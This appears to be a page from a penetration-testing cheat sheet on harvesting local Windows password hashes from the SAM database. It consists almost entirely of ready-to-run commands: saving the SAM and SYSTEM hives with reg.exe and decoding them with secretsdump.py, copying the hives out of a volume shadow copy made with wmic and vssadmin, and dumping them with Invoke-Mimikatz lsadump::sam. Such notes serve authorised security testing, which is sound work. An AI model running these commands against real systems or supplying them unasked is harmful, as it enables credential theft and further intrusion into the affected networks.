> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/credential-harvesting/sam.md).

# SAM

## reg.exe

```
Cmd > reg save hklm\system system.hive
Cmd > reg save hklm\sam sam.hive
$ secretsdump.py -system system.hive -sam sam.hive LOCAL
```

## vssadmin

```
Cmd > wmic shadowcopy call create Volume='C:\'
Cmd > vssadmin list shadows
Cmd > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system system.hive
Cmd > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam sam.hive
```

## Mimikatz

```
PS > Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "log out.txt" "lsadump::sam" "exit"'
```